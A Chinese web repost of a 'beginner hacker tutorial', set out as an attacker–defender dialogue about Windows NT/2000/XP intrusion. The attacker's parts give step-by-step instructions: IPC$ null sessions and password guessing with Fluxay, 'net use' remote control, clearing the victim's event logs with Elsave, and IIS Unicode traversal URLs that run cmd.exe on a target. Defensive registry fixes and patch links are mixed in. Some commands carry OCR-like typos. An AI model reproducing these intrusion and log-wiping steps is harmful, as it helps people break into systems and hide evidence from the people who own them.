分享
 
 
 

菜鸟黑客教程(3)

王朝other·作者佚名  2008-05-19
窄屏简体版  字體: |||超大  

ZOV: 也许是微软太过霸道,也许是Windows系统的易用性太好,人们似乎一直有winNT/2000/XP极不安全的印象。其实只要认真打好漏洞补丁并且不随意进行一些不安全的设置,WinNT/2000/XP的安全性应该已经接近任何UNIX系统了。因此那些期待通过某个winNT/2000/XP神奇的远程漏洞,使用简洁的图形界面工具,几下鼠标点击就能够把winNT/2000/XP变成“肉鸡”的人可能会失望了--这种情况在winNT时代本来就很少;到了Win2000/XP的时代就更难得,除非是管理员自己无视任何常见安全措施。

目前常见针对WinNT/2000/XP的入侵攻击一般就是NETBIOS和SMB/CIFS入侵、IIS渗透、拒绝服务(DOS)攻击。以前闹得沸沸扬扬的通过Win2000终端服务(3389端口)加上中文win2000输入法漏洞入侵的方法几乎已经是家喻户晓了,相应的补丁已经推出很久,防范方法也是人尽皆知,这里对此就不再赘述。还有WinXP的PnP(即插即用)漏洞还没在不太敏感的“点击黑客”之中流行起来就已经被解决了。下面就NETBIOS和SMB/CIFS入侵方面用IPC$S漏洞的详细例子来说明。

Jackeroo: Win98的漏洞说起来还不是很怕人,因为入侵者一般也就是令你的Win98变慢、死机,最多也就是偷窥一下共享中的文件;可是对于基于WtnNT内核的WinNT/2000/XP的漏洞就具有更大的危害性,它们本身就是做为网络操作系统存在的,一旦被入侵,黑客们就可以为所欲为--访问服务器上的任何文件,甚至可以利用你的服务器入侵其它的机器而把罪名栽赃到你的名下。

WinNT/2000/XP的漏洞又广为大家诟病,其实通过适当的设置,它也可以固若金汤,不信就和我一起往后看……

■利用IPC$漏洞为所欲为

ZOV: IPC$(Interprocess Communication)是共享“命名管道”的资源,它对于程序间的通讯很重要,在远程管理计算机和查看计算机的共享资源时使用。利用IPC$可以与目标主机建立一个空连接(无需用户名与密码),而在WinNT/2000/XP中利用这个空连接就可以得到目标主机上的用户列表,接下来就可以进行猜解密码尝试。一旦对方的用户名有空密码(很多人安装WinNT/2000/XP时都不会给Administrator用户设置密码)或者弱密码(用户名和密码设置成一样的人也很多),就可以很轻松地在他的电脑上为所欲为了。

现在Jackeroo使用的系统是Win2000,我这里使用流光(Fluxay 4.7,下载地址:http://www.chinesehack.org/)作为扫描和攻击工具。在流光的主界面上,我们可以使用“ctrl+R”弹出IP地址扫描框,不过这里我只是针对Jackeroo进行攻击,因此可以直接在主界面的“IPC$主机”项上面点击鼠标右键,依次选择“编辑”-“添加”,然后输入Jackeroo的IP地址即可。然后在已添加的Jackeroo的主机上用鼠标右键弹出功能列表,在“探测’项小依次运行“探测IPC$用户列表”、“探测IPC$远程登录”,如果幸运遇到一个粗心的菜鸟,几分钟之后你就可能得到他的那些空密码和弱密码。现在需要在你自己的Win2000/XP系统中使用一条重要的命令--net use\\1对方IP地址“用户密码”/user:“用户名” (用户密码如果为空就只保留那一对双引号,小间不要有任何字符),成功之后你应该能够得到“命令成功完成”的回应。

建立IPC$连接之后,其实已经可以在目标电脑上为所欲为了,例如使用at命令让目标电脑在指定时间运行某个服务(例如某个小巧的Telnet或者FTP服务器,然后通过它们来方便地上传下载执行文件),通过copy命令上传和下载任何文件到任何目录,通过运行REG文件来修改对方注册表……我想,对方的电脑已经对我没有什么秘密了。

对了,玩完之后最好还是清除一下对方的事件日志。一般情况大家会简单地用“事件查看器”抹除,不过这种抹除方式会留下一个新日志,那就是描述Event Log已被XXX清空--毫无疑问,这样的记录将会引起对方更高的警觉。当然你也可以直接从\%systemboot%\system32\config中取得各种日志文件来修改,不过这并不是一个很好的建议,毕竟Windows的日志语法很复杂。最简单的方法是使用Elsave这个清空事件日志的工具(下载地http://www.ibt.ku.dk/jesper/ELsave/),语法为--elsave -s \\对方IP地址 -l“需要清除的事件项目” -c(注意,最后一个参数是大写的“c”)。

Jackeroo: 这种漏洞对那些使用Win2000却不喜欢打补丁而且密码设置太不小心的用户确实是致命的入侵,不过解决起来也很简单,仅仅需要更改两项注册表(解决方法来源于小榕的建议)。

1.禁止建立空连接

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]

RestrictAnonymous = DWORD:00000001

2.禁止管理共享

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]

AutoShareServer = DWORD:00000000

WinXP在这方面补救方法也比较简单直接使用“Windows Update”更新即可。

■人尽皆知的IIS UnicOde漏洞

ZOV: IIS做为WindowsNT/2000/XP Server的网络服务器就如它依存的操作系统一样漏洞百出,像Null.htw、MDAC、ASP Dot Bug、idc & ida Bug和.htr Bug,每―个Bug都将IIS服务器置于极端的不安全状态之中,最近的Unicode漏洞更是如此,我们 就用此漏洞来测试Jackeroo的IIS服务器(好象还没有打Service pack 3补丁呢),Come on,Let's Go!

此漏洞从中文IIS 4.0+SP6开始,还影响中文Win2000+IIS 5.0、中文Win2000+lIS 5/O+SP1,台湾繁体中文也同样存在这样的漏洞,而且英文版的IIS也逃脱不了这种厄运。

中文版WinNT/2000附带的IIS 4.0/5.0中,Unicode编码存在致命的安全漏洞使得用户可以远程通过IIS执行任意命令,当IIS打开URL时。如果该URL包含Unicode字符,它会对其进行解码,如果用户提供一些特殊的编码,将导致IIS错误打开或者执行某些web根目录以外的文件。

对于IIS 4.0/5.0中文版,当IIS收到的URL请求包含一个特殊的编码例如"%c1%hh"或者"%c0%hh",它会首先将其解码变成:0xcl0xhh,然后尝试打开这个文件,Windows系统认为0xcl0xhh可能是Unicode编码,因此它会首先将其解码,如果0x00

%c1%hh → (0xc1―0xc0)*0x40+0xhh

%c0%hh → (0xc0―0xc0)*0x40+0xhh

因此,利用这种编码,我们可以构造很多字符,例如:

%c1%1c → (0xc1―0xc0)*0x40+0xlc = 0xEc = '/'

%c0%2f → (0xc0―0xc0)*0x40+0x2f = 0x2f = '\'

攻击者可以利用这个漏洞来绕过11s的路径检查,从而达到执行或者打开任意的文件目的。

1.显示特定目录列表

前边我们锁定了Jackeroo的IF为192.168.0.68,现在就来看看他的目录列表,在lE的地址栏中输入以下信息并回http://192.168.O.68/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:

是不是显示的c:\目录列表,需要说明的是上边的语句表示执行\winnt\systemS2\cmd.exe /c dir c:\,其中的script/..%c1%1c../被操作系统转化为Script/../../,我们知道这表示的是操作系统所在盘的根目录。

2.显示文件内容

如果想显示任何一个文本文件,我们可以这样输http://192.168.O.68/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+type+c:\boot.ini

Boot.ini内容就可以通过IE显示出来。我们可以知道他安装的操作系统信息。

3。建立文件夹

http://192.168.0.68/scrlpts/..%c1%1c../winnt/system32/cmd.exe?/c+md+c:\zov

运行后我们可以看到返回这样的结果:

CGI Error

The specified CGI application misbehaved

by not returning a complete set of HTTP head-

ers.The headers it did return are:

中文意思是就是:

CGI错误

指定的CGI执行错误,不能返回完整的UTTP标题,返回的标题为:

不过Zov这个目录还是建立了,为了不让Jackeroo发现,我们还是删除它http://192.168.0.68/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+rd+c:\zov

没有装Service Pack 3的Windows 2000确实是限不安全的,不过吃一堑长一智,我这里还是有对策的:限制网络用户访问和调用cmd的权限,在Script、Msadc等目录没必要使用的情况下,删除该文件夹或者改名,安装Windows时不要使用默认WinNT路径,另外最好将Inetpub目录放在另外一个分区上等等方法。

当然最好的方法还是下载最著名的补丁公司MS提供的补丁,http://www.microsoft.com/technet/security/bulletin/ms00-057.asp有对这种问题的详细陈述,并且根据操作系统不同而分别提供了相应的补丁程序。

IIS 4.http://www.microsoft.com/downloads/release.asp?releaseid=23667

IIS 5.http://www.microsoft.com/downloads/release.asp?releaseid=23665

■Win2000Bug终极解决之道

Win2000的漏洞实在是太多了,为了防止挂一漏万,我这里给你提供一个保证win2000安全的完整思路,希望对你有所帮助。

1.安装Setvice Pack

Service Pack是微软为WinNT/2000/XP推出的补丁集合,Win2000 Service Pack官方网http://www.microsoft.com/windows2000/downloads/servicepacks/,需要说明的是如果你在服务器安装完Service Pack之后又安装了其它的新软件,请重新安装Service Pack以保证Service Pack的文件不被覆盖。

Win2000 Service Pack现在的最新版本是3.0,针对Win2000的数十种语言版本,Service Pack也是针对不同的版本推出的,而且不同版本的Service Pack解除的Bug不尽

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有